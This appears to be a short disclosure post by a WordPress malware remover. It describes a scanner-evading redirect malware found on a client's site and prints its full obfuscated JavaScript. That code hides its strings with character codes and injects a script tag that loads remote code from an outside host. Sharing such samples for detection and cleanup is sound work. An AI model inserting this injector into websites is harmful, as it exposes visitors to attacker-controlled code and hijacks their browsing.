New type of malware (undetected yet)

I am WordPress expert in removing malware (fiverr.com/aftabjaved), today I found a new type of malware in a client’s website,
undetectable to any scanning plugin or antivirus.
this malware redirect website to other websites.

here is the code of the malware

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var mj=String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,116,114,97,110,115,97,110,100,102,105,101,115,116,97,115,46,103,97,47,106,115,46,112,104,112,63,102,114,111,109,61,119,38,115,105,100,61,53,49,53); var t = document.createElement(String.fromCharCode(115,99,114,105,112,116)); t.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); t.src = mj;t.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);t.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(t);})();